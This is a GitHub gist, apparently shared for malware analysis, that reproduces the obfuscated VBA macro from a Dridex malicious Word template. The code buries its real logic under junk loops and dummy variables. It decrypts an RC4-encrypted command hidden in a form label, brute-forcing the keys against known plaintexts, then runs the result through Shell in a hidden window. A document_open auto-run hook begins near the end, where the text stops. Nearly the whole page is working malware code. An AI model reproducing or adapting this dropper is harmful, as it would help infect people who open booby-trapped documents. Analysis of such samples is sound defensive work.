Skip to content

Instantly share code, notes, and snippets.

@Antelox

Antelox/dridex.vb Secret

Created Jul 14, 2016
Embed
What would you like to do?
Original vba code inside the dridex's dotm file
Dim SRNATGh() As Byte
Dim AsVWQk(15812 - 6812) As Long, YeAeXXV(10269 - 270) As Long
Private Sub GmY()
Dim GLxZqJ2 As Integer
GLxZqJ2 = 89
If GLxZqJ2 > 33 Then
GLxZqJ2 = 4
Do
GLxZqJ2 = GLxZqJ2 + 1
Loop While GLxZqJ2 <= 220
End If
Dim U7PlAu1 As String
If Round(55, 446) = True Then U7PlAu1 = "990"
Dim N42Wo() As String, RJz As Integer
Dim BzS As Integer
BzS = 67
If BzS > 25 Then
BzS = 2
Do While BzS <= 264
BzS = BzS + 1
Loop
End If
Dim U7PlAu2 As String
If IsDate(923) = True Then U7PlAu2 = "552"
N42Wo = Split(UserForm1.Label1.Caption, Qxd7GSg(44))
Dim DcEbd5 As Integer
DcEbd5 = 24
If DcEbd5 > 32 Then
DcEbd5 = 9
Do Until DcEbd5 >= 27
DcEbd5 = DcEbd5 + 1
Loop
End If
Dim U7PlAu3 As String
ReDim SRNATGh(3627)
Dim WG As Integer
WG = 94
If WG > 29 Then
WG = 4
Do While WG <= 205
WG = WG + 1
Loop
End If
Dim U7PlAu4 As String
U7PlAu4 = CVar(346)
For RJz = 0 To 3627
SRNATGh(RJz) = N42Wo(RJz)
Next RJz
Dim OXK As Integer
OXK = 62
If OXK > 22 Then
OXK = 8
Do While OXK <= 11
OXK = OXK + 1
Loop
End If
Dim U7PlAu5 As String
U7PlAu5 = CDate(913)
Dim Mea As Long
Dim MoSP9Y8 As Integer
MoSP9Y8 = 87
If MoSP9Y8 > 38 Then
MoSP9Y8 = 8
Do Until MoSP9Y8 >= 157
MoSP9Y8 = MoSP9Y8 + 1
Loop
End If
Dim U7PlAu6 As String
If IsMissing(346) = True Then U7PlAu6 = 966
Dim XSRK2vh(13) As Byte, SSXJM(36) As Byte
Dim SjGdk As Integer
SjGdk = 26
If SjGdk > 29 Then
SjGdk = 6
While SjGdk <= 253
SjGdk = SjGdk + 1
Wend
End If
Dim U7PlAu7 As String
U7PlAu7 = CByte(66)
XSRK2vh(0) = 237
XSRK2vh(1) = 28
XSRK2vh(2) = 3
XSRK2vh(3) = 238
XSRK2vh(4) = 231
XSRK2vh(5) = 14
XSRK2vh(6) = 250
XSRK2vh(7) = 213
XSRK2vh(8) = 86
XSRK2vh(9) = 253
XSRK2vh(10) = 10
XSRK2vh(11) = 215
XSRK2vh(12) = 237
XSRK2vh(13) = 58
Dim OREO As Integer
OREO = 62
If OREO > 27 Then
OREO = 2
While OREO <= 149
OREO = OREO + 1
Wend
End If
Dim U7PlAu8 As String
U7PlAu8 = Year(Now)
SSXJM(0) = 79
SSXJM(1) = 88
SSXJM(2) = 80
SSXJM(3) = 87
SSXJM(4) = 89
SSXJM(5) = 77
SSXJM(6) = 101
SSXJM(7) = 50
SSXJM(8) = 86
SSXJM(9) = 118
SSXJM(10) = 54
SSXJM(11) = 70
SSXJM(12) = 120
SSXJM(13) = 90
SSXJM(14) = 103
SSXJM(15) = 117
SSXJM(16) = 65
Dim FvUA As Integer
FvUA = 30
If FvUA > 37 Then
FvUA = 8
Do
FvUA = FvUA + 1
Loop While FvUA <= 279
End If
Dim U7PlAu9 As String
If IsError(729) = True Then U7PlAu9 = "342"
For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
SSXJM(17) = UMI(Mea, 1)
SSXJM(18) = UMI(Mea, 2)
SSXJM(19) = UMI(Mea, 3)
SSXJM(20) = UMI(Mea, 4)
SSXJM(21) = SSXJM(17)
SSXJM(22) = SSXJM(18)
SSXJM(23) = SSXJM(19)
SSXJM(24) = SSXJM(20)
SSXJM(25) = SSXJM(17)
SSXJM(26) = SSXJM(18)
SSXJM(27) = SSXJM(19)
SSXJM(28) = SSXJM(20)
SSXJM(29) = SSXJM(17)
SSXJM(30) = SSXJM(18)
SSXJM(31) = SSXJM(19)
SSXJM(32) = SSXJM(20)
SSXJM(33) = SSXJM(17)
SSXJM(34) = SSXJM(18)
SSXJM(35) = SSXJM(19)
SSXJM(36) = SSXJM(20)
If Cv8Cg3(XSRK2vh, SSXJM) = "TYTKJQBmiDtlWm" Then Exit For
Next Mea
Dim SjR As Integer
SjR = 89
If SjR > 37 Then
SjR = 1
While SjR <= 137
SjR = SjR + 1
Wend
End If
Dim U7PlAu10 As String
Dim NYAqlva(10) As Byte, DjFRc(35) As Byte
Dim Ir0HJs As Integer
Ir0HJs = 15
If Ir0HJs > 37 Then
Ir0HJs = 3
For Ir0HJs = 1 To 130
Ir0HJs = Ir0HJs + 1
Next
End If
Dim U7PlAu11 As String
U7PlAu11 = Minute(Now)
NYAqlva(0) = 86
NYAqlva(1) = 3
NYAqlva(2) = 109
NYAqlva(3) = 200
NYAqlva(4) = 61
NYAqlva(5) = 230
NYAqlva(6) = 34
NYAqlva(7) = 53
NYAqlva(8) = 211
NYAqlva(9) = 172
NYAqlva(10) = 225
Dim XBmhy As Integer
XBmhy = 18
If XBmhy > 29 Then
XBmhy = 6
Do Until XBmhy >= 87
XBmhy = XBmhy + 1
Loop
End If
Dim U7PlAu12 As String
DjFRc(0) = 77
DjFRc(1) = 120
DjFRc(2) = 69
DjFRc(3) = 90
DjFRc(4) = 107
DjFRc(5) = 89
DjFRc(6) = 72
DjFRc(7) = 100
DjFRc(8) = 52
DjFRc(9) = 87
DjFRc(10) = 87
DjFRc(11) = 105
DjFRc(12) = 84
DjFRc(13) = 55
DjFRc(14) = 52
DjFRc(15) = 89
Dim BCLxSgi As Integer
BCLxSgi = 61
If BCLxSgi > 32 Then
BCLxSgi = 9
For BCLxSgi = 1 To 45
BCLxSgi = BCLxSgi + 1
Next
End If
Dim U7PlAu13 As String
U7PlAu13 = Day(397)
For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
DjFRc(16) = UMI(Mea, 1)
DjFRc(17) = UMI(Mea, 2)
DjFRc(18) = UMI(Mea, 3)
DjFRc(19) = UMI(Mea, 4)
DjFRc(20) = DjFRc(16)
DjFRc(21) = DjFRc(17)
DjFRc(22) = DjFRc(18)
DjFRc(23) = DjFRc(19)
DjFRc(24) = DjFRc(16)
DjFRc(25) = DjFRc(17)
DjFRc(26) = DjFRc(18)
DjFRc(27) = DjFRc(19)
DjFRc(28) = DjFRc(16)
DjFRc(29) = DjFRc(17)
DjFRc(30) = DjFRc(18)
DjFRc(31) = DjFRc(19)
DjFRc(32) = DjFRc(16)
DjFRc(33) = DjFRc(17)
DjFRc(34) = DjFRc(18)
DjFRc(35) = DjFRc(19)
If Cv8Cg3(NYAqlva, DjFRc) = "DHS4qvwNRXr" Then Exit For
Next Mea
Dim Lya As Integer
Lya = 69
If Lya > 32 Then
Lya = 8
Do While Lya <= 174
Lya = Lya + 1
Loop
End If
Dim U7PlAu14 As String
U7PlAu14 = Second(Now)
Dim V9PbJkV(15) As Byte, LW(36) As Byte
Dim KEdk As Integer
KEdk = 34
If KEdk > 34 Then
KEdk = 4
While KEdk <= 226
KEdk = KEdk + 1
Wend
End If
Dim U7PlAu15 As String
If 541 + 823 = 240 Then Beep
V9PbJkV(0) = 41
V9PbJkV(1) = 167
V9PbJkV(2) = 214
V9PbJkV(3) = 167
V9PbJkV(4) = 44
V9PbJkV(5) = 230
V9PbJkV(6) = 182
V9PbJkV(7) = 5
V9PbJkV(8) = 218
V9PbJkV(9) = 85
V9PbJkV(10) = 185
V9PbJkV(11) = 32
V9PbJkV(12) = 31
V9PbJkV(13) = 179
V9PbJkV(14) = 43
V9PbJkV(15) = 107
Dim U7PlAu16 As String
U7PlAu16 = Weekday(430)
Dim IGse As Integer
IGse = 11
If IGse > 27 Then
IGse = 1
Do While IGse <= 260
IGse = IGse + 1
Loop
End If
LW(0) = 85
LW(1) = 54
LW(2) = 83
LW(3) = 84
LW(4) = 76
LW(5) = 75
LW(6) = 118
LW(7) = 119
LW(8) = 56
LW(9) = 85
LW(10) = 90
LW(11) = 66
LW(12) = 115
LW(13) = 97
LW(14) = 115
LW(15) = 56
LW(16) = 90
Dim VJ As Integer
VJ = 20
If VJ > 21 Then
VJ = 9
Do Until VJ >= 152
VJ = VJ + 1
Loop
End If
Dim U7PlAu17 As String
U7PlAu17 = Day(Now)
For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
LW(17) = UMI(Mea, 1)
LW(18) = UMI(Mea, 2)
LW(19) = UMI(Mea, 3)
LW(20) = UMI(Mea, 4)
LW(21) = LW(17)
LW(22) = LW(18)
LW(23) = LW(19)
LW(24) = LW(20)
LW(25) = LW(17)
LW(26) = LW(18)
LW(27) = LW(19)
LW(28) = LW(20)
LW(29) = LW(17)
LW(30) = LW(18)
LW(31) = LW(19)
LW(32) = LW(20)
LW(33) = LW(17)
LW(34) = LW(18)
LW(35) = LW(19)
LW(36) = LW(20)
If Cv8Cg3(V9PbJkV, LW) = "QjthqMM0nBOiLvHY" Then Exit For
Next Mea
Dim J9 As Integer
J9 = 3
If J9 > 38 Then
J9 = 3
For J9 = 1 To 16
J9 = J9 + 1
Next
End If
Dim U7PlAu18 As String
U7PlAu18 = CInt(58)
Dim NSJBW7B(15) As Byte, K2Z(37) As Byte
Dim ShRl As Integer
ShRl = 72
If ShRl > 25 Then
ShRl = 8
Do
ShRl = ShRl + 1
Loop While ShRl <= 219
End If
'ingredient
Dim U7PlAu19 As String
If CBool(865) = True Then U7PlAu19 = 113
NSJBW7B(0) = 171
NSJBW7B(1) = 107
NSJBW7B(2) = 175
NSJBW7B(3) = 221
NSJBW7B(4) = 59
NSJBW7B(5) = 101
NSJBW7B(6) = 156
NSJBW7B(7) = 9
NSJBW7B(8) = 207
NSJBW7B(9) = 162
NSJBW7B(10) = 59
NSJBW7B(11) = 196
NSJBW7B(12) = 242
NSJBW7B(13) = 21
NSJBW7B(14) = 42
NSJBW7B(15) = 42
Dim QMA As Integer
QMA = 99
If QMA > 23 Then
QMA = 6
Do While QMA <= 71
QMA = QMA + 1
Loop
End If
Dim U7PlAu20 As String
If U7PlAu20 = "547" Then DoEvents
K2Z(0) = 73
K2Z(1) = 101
K2Z(2) = 103
K2Z(3) = 108
K2Z(4) = 69
K2Z(5) = 54
K2Z(6) = 73
K2Z(7) = 70
K2Z(8) = 117
K2Z(9) = 101
K2Z(10) = 66
K2Z(11) = 89
K2Z(12) = 118
K2Z(13) = 69
K2Z(14) = 83
K2Z(15) = 66
K2Z(16) = 90
K2Z(17) = 98
Dim E9TGqf As Integer
E9TGqf = 19
If E9TGqf > 32 Then
E9TGqf = 6
For E9TGqf = 1 To 105
E9TGqf = E9TGqf + 1
Next
End If
Dim U7PlAu21 As String
U7PlAu21 = NPer(18, 935, 166)
For Mea = OHb(AsVWQk) To OHb(YeAeXXV)
K2Z(18) = UMI(Mea, 1)
K2Z(19) = UMI(Mea, 2)
K2Z(20) = UMI(Mea, 3)
K2Z(21) = UMI(Mea, 4)
K2Z(22) = K2Z(18)
K2Z(23) = K2Z(19)
K2Z(24) = K2Z(20)
K2Z(25) = K2Z(21)
K2Z(26) = K2Z(18)
K2Z(27) = K2Z(19)
K2Z(28) = K2Z(20)
K2Z(29) = K2Z(21)
K2Z(30) = K2Z(18)
K2Z(31) = K2Z(19)
K2Z(32) = K2Z(20)
K2Z(33) = K2Z(21)
K2Z(34) = K2Z(18)
K2Z(35) = K2Z(19)
K2Z(36) = K2Z(20)
K2Z(37) = K2Z(21)
If Cv8Cg3(NSJBW7B, K2Z) = "BZay9OtzSvNJpWTY" Then Exit For
Next Mea
Dim Jr7Qx As Integer
Jr7Qx = 21
If Jr7Qx > 29 Then
Jr7Qx = 3
Do
Jr7Qx = Jr7Qx + 1
Loop While Jr7Qx <= 160
End If
Dim U7PlAu22 As String
If U7PlAu22 = "944" Then U7PlAu22 = Command
Dim UTJ54ez As Integer
UTJ54ez = 69
If UTJ54ez > 26 Then
UTJ54ez = 3
For UTJ54ez = 1 To 226
UTJ54ez = UTJ54ez + 1
Next
End If
Dim U7PlAu23 As String
If Abs(680) = 80 Then U7PlAu23 = 887
Dim SiHbpw(147) As Byte, SIf As Long, CRfSt As Long
Dim Ju1 As Integer
Ju1 = 18
If Ju1 > 31 Then
Ju1 = 9
For Ju1 = 1 To 190
Ju1 = Ju1 + 1
Next
End If
Dim U7PlAu24 As String
SIf = 0
Dim O6eJG As Integer
O6eJG = 28
If O6eJG > 36 Then
O6eJG = 9
Do While O6eJG <= 83
O6eJG = O6eJG + 1
Loop
End If
Dim U7PlAu25 As String
U7PlAu25 = CCur(235)
CRfSt = 0
Dim Jb As Integer
Jb = 97
If Jb > 34 Then
Jb = 1
While Jb <= 263
Jb = Jb + 1
Wend
End If
Dim U7PlAu26 As String
U7PlAu26 = CLng(919)
For Mea = 0 To OHb(SSXJM)
SiHbpw(Mea) = SSXJM(Mea)
SIf = SIf + 1
Next Mea
Dim E9mRm3 As Integer
E9mRm3 = 83
If E9mRm3 > 38 Then
E9mRm3 = 5
While E9mRm3 <= 220
E9mRm3 = E9mRm3 + 1
Wend
End If
Dim U7PlAu27 As String
U7PlAu27 = CDbl(242)
For Mea = OHb(SSXJM) + 1 To OHb(DjFRc) + SIf
SiHbpw(Mea) = DjFRc(CRfSt)
CRfSt = CRfSt + 1
SIf = SIf + 1
Next Mea
Dim ThB2l As Integer
ThB2l = 69
If ThB2l > 20 Then
ThB2l = 9
While ThB2l <= 256
ThB2l = ThB2l + 1
Wend
End If
Dim U7PlAu28 As String
CRfSt = 0
Dim ThW9vl As Integer
ThW9vl = 81
If ThW9vl > 24 Then
ThW9vl = 5
While ThW9vl <= 212
ThW9vl = ThW9vl + 1
Wend
End If
Dim U7PlAu29 As String
U7PlAu29 = CVar(733)
For Mea = SIf To OHb(LW) + SIf
SiHbpw(Mea) = LW(CRfSt)
CRfSt = CRfSt + 1
SIf = SIf + 1
Next Mea
Dim IQo2fX As Integer
IQo2fX = 29
If IQo2fX > 25 Then
IQo2fX = 9
Do Until IQo2fX >= 249
IQo2fX = IQo2fX + 1
Loop
End If
Dim U7PlAu30 As String
U7PlAu30 = Year(Now)
CRfSt = 0
Dim Ya9Z6 As Integer
Ya9Z6 = 82
If Ya9Z6 > 23 Then
Ya9Z6 = 6
Do While Ya9Z6 <= 156
Ya9Z6 = Ya9Z6 + 1
Loop
End If
Dim U7PlAu31 As String
U7PlAu31 = TimeSerial(104, 352, 337)
For Mea = SIf To OHb(K2Z) + SIf
SiHbpw(Mea) = K2Z(CRfSt)
CRfSt = CRfSt + 1
SIf = SIf + 1
Next Mea
Dim V5PXtk As Integer
V5PXtk = 98
If V5PXtk > 34 Then
V5PXtk = 1
Do While V5PXtk <= 192
V5PXtk = V5PXtk + 1
Loop
End If
Dim U7PlAu32 As String
U7PlAu32 = DoEvents
OcMm1T = Cv8Cg3(SRNATGh, SiHbpw)
Dim LGE As Integer
LGE = 16
If LGE > 23 Then
LGE = 9
Do While LGE <= 148
LGE = LGE + 1
Loop
End If
Dim U7PlAu33 As String
U7PlAu33 = CurDir
Shell OcMm1T, (374 - 374)
Dim OZ As Integer
OZ = 24
If OZ > 39 Then
OZ = 6
Do
OZ = OZ + 1
Loop While OZ <= 100
End If
Dim U7PlAu34 As String
U7PlAu34 = CInt(267)
End Sub
Private Sub GwQ9d()
Dim WQ0IzA1 As Integer
WQ0IzA1 = 74
If WQ0IzA1 > 38 Then
WQ0IzA1 = 5
For WQ0IzA1 = 1 To 61
WQ0IzA1 = WQ0IzA1 + 1
Next
End If
Dim U7PlAu35 As String
U7PlAu35 = Hour(Now)
Dim EZu5 As Integer
EZu5 = 79
If EZu5 > 35 Then
EZu5 = 9
Do Until EZu5 >= 66
EZu5 = EZu5 + 1
Loop
End If
Dim U7PlAu36 As String
U7PlAu36 = Month(792)
End Sub
Private Function Qxd7GSg(ByVal BHxHFg As Integer) As String
Dim GJGmH9 As Integer
GJGmH9 = 18
If GJGmH9 > 37 Then
GJGmH9 = 8
Do
GJGmH9 = GJGmH9 + 1
Loop While GJGmH9 <= 74
End If
Dim U7PlAu37 As String
If U7PlAu37 = "746" Then MsgBox 669, 893, "955"
Dim Wz(1) As Byte, KPA3 As Byte, LrdfxYI As Byte
Dim ODbR8oE As Integer
ODbR8oE = 3
If ODbR8oE > 20 Then
ODbR8oE = 3
Do Until ODbR8oE >= 188
ODbR8oE = ODbR8oE + 1
Loop
End If
Dim U7PlAu38 As String
If IsDate(500) = True Then U7PlAu38 = "883"
If BHxHFg < 0 Then Exit Function
Dim Gghli As Integer
Gghli = 5
If Gghli > 24 Then
Gghli = 7
Do
Gghli = Gghli + 1
Loop While Gghli <= 300
End If
Dim U7PlAu39 As String
U7PlAu39 = DoEvents
If BHxHFg > 255 Then
Dim XjQ As Integer
XjQ = 16
If XjQ > 23 Then
XjQ = 9
Do While XjQ <= 148
XjQ = XjQ + 1
Loop
End If
Dim U7PlAu40 As String
U7PlAu40 = CurDir
LrdfxYI = 0
Else
Dim D4qRk As Integer
D4qRk = 38
If D4qRk > 24 Then
D4qRk = 9
While D4qRk <= 214
D4qRk = D4qRk + 1
Wend
End If
Dim U7PlAu41 As String
If Round(764, 817) = True Then U7PlAu41 = "659"
KPA3 = BHxHFg
Dim RI99Rye As Integer
RI99Rye = 17
If RI99Rye > 38 Then
RI99Rye = 7
Do Until RI99Rye >= 151
RI99Rye = RI99Rye + 1
Loop
End If
Dim U7PlAu42 As String
U7PlAu42 = Now
LrdfxYI = 0
Dim W6Kq As Integer
W6Kq = 18
If W6Kq > 21 Then
W6Kq = 4
Do While W6Kq <= 287
'be
W6Kq = W6Kq + 1
Loop
End If
Dim U7PlAu43 As String
U7PlAu43 = Second(Now)
End If
Dim OI As Integer
OI = 33
If OI > 37 Then
OI = 1
Do Until OI >= 190
OI = OI + 1
Loop
End If
Dim U7PlAu44 As String
DateSerial 286, 737, 374
Wz(0) = KPA3
Dim UfGEi As Integer
UfGEi = 79
If UfGEi > 33 Then
UfGEi = 4
For UfGEi = 1 To 36
UfGEi = UfGEi + 1
Next
End If
Dim U7PlAu45 As String
If U7PlAu45 = "215" Then U7PlAu45 = EOF(684)
Wz(1) = LrdfxYI
Dim FJFBW As Integer
FJFBW = 88
If FJFBW > 39 Then
FJFBW = 5
Do
FJFBW = FJFBW + 1
Loop While FJFBW <= 97
End If
Dim U7PlAu46 As String
U7PlAu46 = Month(243)
Qxd7GSg = Wz
Dim TupjlMa As Integer
TupjlMa = 47
If TupjlMa > 38 Then
TupjlMa = 4
Do
TupjlMa = TupjlMa + 1
Loop While TupjlMa <= 191
End If
Dim U7PlAu47 As String
U7PlAu47 = Dir("190")
End Function
Private Function Cv8Cg3(K2fkl() As Byte, TBfWWQw() As Byte) As String
Dim Vuba As Integer
Vuba = 66
If Vuba > 32 Then
Vuba = 3
Do
Vuba = Vuba + 1
Loop While Vuba <= 291
End If
On Error Resume Next
Dim FVxV As Integer
FVxV = 73
If FVxV > 37 Then
FVxV = 7
Do
FVxV = FVxV + 1
Loop While FVxV <= 82
End If
Dim DkB(0 To 255) As Integer, TzwC2o8 As Long, JuxOGCD As Long, YpxaVbI As Long, TjCv As Byte, GA() As Byte, OT() As Byte
Dim Xhe0kgJ As Integer
Xhe0kgJ = 56
If Xhe0kgJ > 38 Then
Xhe0kgJ = 4
Do
Xhe0kgJ = Xhe0kgJ + 1
Loop While Xhe0kgJ <= 181
End If
ReDim GA(OHb(K2fkl)) As Byte
Dim QP421G6 As Integer
QP421G6 = 26
If QP421G6 > 36 Then
QP421G6 = 2
Do
QP421G6 = QP421G6 + 1
Loop While QP421G6 <= 273
End If
GA = K2fkl
Dim Jwrj76 As Integer
Jwrj76 = 51
If Jwrj76 > 26 Then
Jwrj76 = 9
For Jwrj76 = 1 To 94
Jwrj76 = Jwrj76 + 1
Next
End If
ReDim OT(OHb(TBfWWQw)) As Byte
Dim LgtJoH As Integer
LgtJoH = 86
If LgtJoH > 34 Then
LgtJoH = 2
While LgtJoH <= 215
LgtJoH = LgtJoH + 1
'worshipper
Wend
End If
OT = TBfWWQw
Dim MQwtUTa As Integer
MQwtUTa = 47
If MQwtUTa > 38 Then
MQwtUTa = 4
Do Until MQwtUTa >= 148
MQwtUTa = MQwtUTa + 1
Loop
End If
For TzwC2o8 = 0 To 255
DkB(TzwC2o8) = TzwC2o8
Next TzwC2o8
Dim OCU2 As Integer
OCU2 = 36
If OCU2 > 40 Then
OCU2 = 2
Do
OCU2 = OCU2 + 1
Loop While OCU2 <= 206
End If
TzwC2o8 = 0
Dim Jq04sI As Integer
Jq04sI = 94
If Jq04sI > 24 Then
Jq04sI = 9
Do Until Jq04sI >= 239
Jq04sI = Jq04sI + 1
Loop
End If
JuxOGCD = 0
Dim Tvzseu As Integer
Tvzseu = 6
If Tvzseu > 28 Then
Tvzseu = 4
Do While Tvzseu <= 52
Tvzseu = Tvzseu + 1
Loop
End If
YpxaVbI = 0
Dim LHNrk As Integer
LHNrk = 45
If LHNrk > 30 Then
LHNrk = 4
For LHNrk = 1 To 203
LHNrk = LHNrk + 1
Next
End If
For TzwC2o8 = 0 To 255
JuxOGCD = SGo0s((JuxOGCD + DkB(TzwC2o8) + OT(SGo0s(TzwC2o8, (OHb(TBfWWQw) + 1)))), (256))
TjCv = DkB(TzwC2o8)
DkB(TzwC2o8) = DkB(JuxOGCD)
DkB(JuxOGCD) = TjCv
Next TzwC2o8
Dim Yi5lkRI As Integer
Yi5lkRI = 70
If Yi5lkRI > 39 Then
Yi5lkRI = 5
Do
Yi5lkRI = Yi5lkRI + 1
Loop While Yi5lkRI <= 199
End If
TzwC2o8 = 0
Dim FRMTHI As Integer
FRMTHI = 92
If FRMTHI > 31 Then
FRMTHI = 7
Do Until FRMTHI >= 232
FRMTHI = FRMTHI + 1
Loop
End If
JuxOGCD = 0
Dim JXLH3 As Integer
JXLH3 = 39
If JXLH3 > 38 Then
JXLH3 = 4
Do
JXLH3 = JXLH3 + 1
Loop While JXLH3 <= 170
End If
YpxaVbI = 0
Dim Oc6xzpN As Integer
Oc6xzpN = 80
If Oc6xzpN > 23 Then
Oc6xzpN = 7
Do While Oc6xzpN <= 78
Oc6xzpN = Oc6xzpN + 1
Loop
End If
For TzwC2o8 = 0 To OHb(K2fkl)
JuxOGCD = SGo0s((JuxOGCD + 1), 256)
YpxaVbI = SGo0s((YpxaVbI + DkB(JuxOGCD)), 256)
TjCv = DkB(JuxOGCD)
DkB(JuxOGCD) = DkB(YpxaVbI)
DkB(YpxaVbI) = TjCv
GA(TzwC2o8) = Iy23W(GA(TzwC2o8), (DkB(SGo0s((DkB(JuxOGCD) + DkB(YpxaVbI)), (256)))))
Next TzwC2o8
Dim DhJtb As Integer
DhJtb = 82
If DhJtb > 37 Then
DhJtb = 8
Do Until DhJtb >= 221
DhJtb = DhJtb + 1
Loop
End If
Cv8Cg3 = M6C(GA)
Dim BTy1hu As Integer
BTy1hu = 94
If BTy1hu > 35 Then
BTy1hu = 2
While BTy1hu <= 57
BTy1hu = BTy1hu + 1
Wend
End If
End Function
Private Function Iy23W(Y4lZ, RvJWmVD)
Dim Tr90m67 As Integer
Tr90m67 = 69
If Tr90m67 > 40 Then
Tr90m67 = 4
Do Until Tr90m67 >= 257
Tr90m67 = Tr90m67 + 1
Loop
End If
Dim U7PlAu48 As String
If U7PlAu48 = "345" Then GetObject "820", "113"
Iy23W = (Y4lZ And Not RvJWmVD) Or (Not Y4lZ And RvJWmVD)
Dim VjZ As Integer
VjZ = 94
If VjZ > 30 Then
VjZ = 8
Do Until VjZ >= 92
VjZ = VjZ + 1
Loop
End If
Dim U7PlAu49 As String
DateSerial 885, 921, 550
End Function
Private Function OHb(ByVal Uv0ZqrD As Variant) As Long
Dim CD6ErW As Integer
CD6ErW = 34
If CD6ErW > 20 Then
CD6ErW = 9
Do Until CD6ErW >= 185
CD6ErW = CD6ErW + 1
Loop
End If
Dim U7PlAu50 As String
U7PlAu50 = AscB(741)
On Error GoTo S97
Dim DHs4 As Integer
DHs4 = 60
If DHs4 > 24 Then
DHs4 = 6
Do While DHs4 <= 171
DHs4 = DHs4 + 1
Loop
End If
Dim U7PlAu51 As String
U7PlAu51 = Year(497)
Dim Jkpzfs As Long, SzvYWV As Variant
Dim SSrgY As Integer
SSrgY = 5
If SSrgY > 23 Then
SSrgY = 1
While SSrgY <= 233
SSrgY = SSrgY + 1
Wend
End If
Dim U7PlAu52 As String
U7PlAu52 = Hour(645)
Do
SzvYWV = Uv0ZqrD(Jkpzfs)
Jkpzfs = Jkpzfs + 1
Loop
Dim LBCjr As Integer
LBCjr = 69
If LBCjr > 24 Then
LBCjr = 6
Do
LBCjr = LBCjr + 1
Loop While LBCjr <= 297
End If
Dim U7PlAu53 As String
If U7PlAu53 = "705" Then U7PlAu53 = Command
S97:
Dim QLJUw As Integer
QLJUw = 98
If QLJUw > 33 Then
QLJUw = 4
For QLJUw = 1 To 89
QLJUw = QLJUw + 1
Next
End If
Dim U7PlAu54 As String
U7PlAu54 = CInt(163)
If Jkpzfs = 0 Then Exit Function
Dim DTaj As Integer
DTaj = 68
If DTaj > 25 Then
DTaj = 5
While DTaj <= 116
DTaj = DTaj + 1
Wend
End If
Dim U7PlAu55 As String
U7PlAu55 = NPer(724, 878, 677)
OHb = Jkpzfs - 1
Dim NdG As Integer
NdG = 92
If NdG > 25 Then
NdG = 7
Do
NdG = NdG + 1
Loop While NdG <= 4
End If
Dim U7PlAu56 As String
U7PlAu56 = Minute(Now)
End Function
Private Function CHnp(ByVal KJJPl As String, ByVal To8G4k As Long, ByVal Fbz As Variant) As String
Dim NiRA As Integer
NiRA = 76
If NiRA > 20 Then
NiRA = 3
For NiRA = 1 To 130
NiRA = NiRA + 1
Next
End If
'abstained
Dim U7PlAu57 As String
Dim KXC0() As Byte, RZiZ4() As Byte, Lvd As Long, XhKwG As Long
Dim MH3R As Integer
MH3R = 98
If MH3R > 31 Then
MH3R = 8
For MH3R = 1 To 102
MH3R = MH3R + 1
Next
End If
Dim U7PlAu58 As String
U7PlAu58 = Hour(Now)
KXC0 = KJJPl
Dim Ul1cw8l As Integer
Ul1cw8l = 37
If Ul1cw8l > 28 Then
Ul1cw8l = 8
Do
Ul1cw8l = Ul1cw8l + 1
Loop While Ul1cw8l <= 136
End If
Dim U7PlAu59 As String
U7PlAu59 = Year(296)
Lvd = OHb(KXC0)
Dim LGCldN As Integer
LGCldN = 88
If LGCldN > 32 Then
LGCldN = 7
Do
LGCldN = LGCldN + 1
Loop While LGCldN <= 209
End If
Dim U7PlAu60 As String
U7PlAu60 = CVar(357)
To8G4k = (To8G4k - 1) * 2
Dim TkB As Integer
TkB = 62
If TkB > 22 Then
TkB = 2
Do While TkB <= 90
TkB = TkB + 1
Loop
End If
Dim U7PlAu61 As String
U7PlAu61 = CCur(537)
Fbz = (Fbz * 2) - 1
Dim T5 As Integer
T5 = 10
If T5 > 34 Then
T5 = 8
For T5 = 1 To 128
T5 = T5 + 1
Next
End If
Dim U7PlAu62 As String
U7PlAu62 = TimeSerial(198, 209, 177)
If To8G4k + Fbz > Lvd Then Fbz = Lvd - To8G4k
Dim G9N As Integer
G9N = 14
If G9N > 32 Then
G9N = 3
Do Until G9N >= 66
G9N = G9N + 1
Loop
End If
Dim U7PlAu63 As String
U7PlAu63 = Day(304)
ReDim RZiZ4(Fbz)
Dim R5JT As Integer
R5JT = 44
If R5JT > 39 Then
R5JT = 5
Do While R5JT <= 181
R5JT = R5JT + 1
Loop
End If
Dim U7PlAu64 As String
U7PlAu64 = Sqr(264)
For XhKwG = To8G4k To To8G4k + Fbz
RZiZ4(XhKwG - To8G4k) = KXC0(XhKwG)
Next XhKwG
Dim MGI As Integer
MGI = 46
If MGI > 32 Then
MGI = 4
Do While MGI <= 106
MGI = MGI + 1
Loop
End If
Dim U7PlAu65 As String
If U7PlAu65 = "537" Then GetObject "911", "512"
CHnp = RZiZ4
Dim IVjQw As Integer
IVjQw = 37
If IVjQw > 28 Then
IVjQw = 8
Do
IVjQw = IVjQw + 1
Loop While IVjQw <= 136
End If
Dim U7PlAu66 As String
U7PlAu66 = Year(296)
End Function
Private Function UMI(AavXhKZ As Long, QUvjvie As Long) As Byte
Dim NKpRsf As Integer
NKpRsf = 88
If NKpRsf > 32 Then
NKpRsf = 7
Do
NKpRsf = NKpRsf + 1
Loop While NKpRsf <= 209
End If
Dim U7PlAu67 As String
U7PlAu67 = CVar(357)
Dim E9 As Long, Yp As Long
Dim OXP As Integer
OXP = 62
If OXP > 22 Then
OXP = 2
Do While OXP <= 90
OXP = OXP + 1
Loop
End If
Dim U7PlAu68 As String
U7PlAu68 = CCur(537)
For E9 = 48 To 57
If CHnp(AavXhKZ, QUvjvie, 1) = Yp Then UMI = E9: Exit For
Yp = Yp + 1
Next E9
Dim U8 As Integer
U8 = 10
If U8 > 34 Then
U8 = 8
For U8 = 1 To 128
U8 = U8 + 1
Next
End If
Dim U7PlAu69 As String
U7PlAu69 = TimeSerial(198, 209, 177)
End Function
Private Sub document_open()
Dim GY As Integer
GY = 16
If GY > 21 Then
GY = 6
Do Until GY >= 78
GY = GY + 1
Loop
End If
Dim U7PlAu70 As String
U7PlAu70 = FV(7, 7, 59)
On Error Resume Next
Dim OcAdF6P As Integer
OcAdF6P = 58
If OcAdF6P > 24 Then
OcAdF6P = 6
Do While OcAdF6P <= 93
OcAdF6P = OcAdF6P + 1
Loop
End If
Dim U7PlAu71 As String
U7PlAu71 = CVar(704)
Dim Mbau As Long, FS7rPff As Long, UN83e3l As Long
Dim UEOt7JI As Integer
UEOt7JI = 13
If UEOt7JI > 28 Then
UEOt7JI = 3
Do Until UEOt7JI >= 71
UEOt7JI = UEOt7JI + 1
Loop
End If
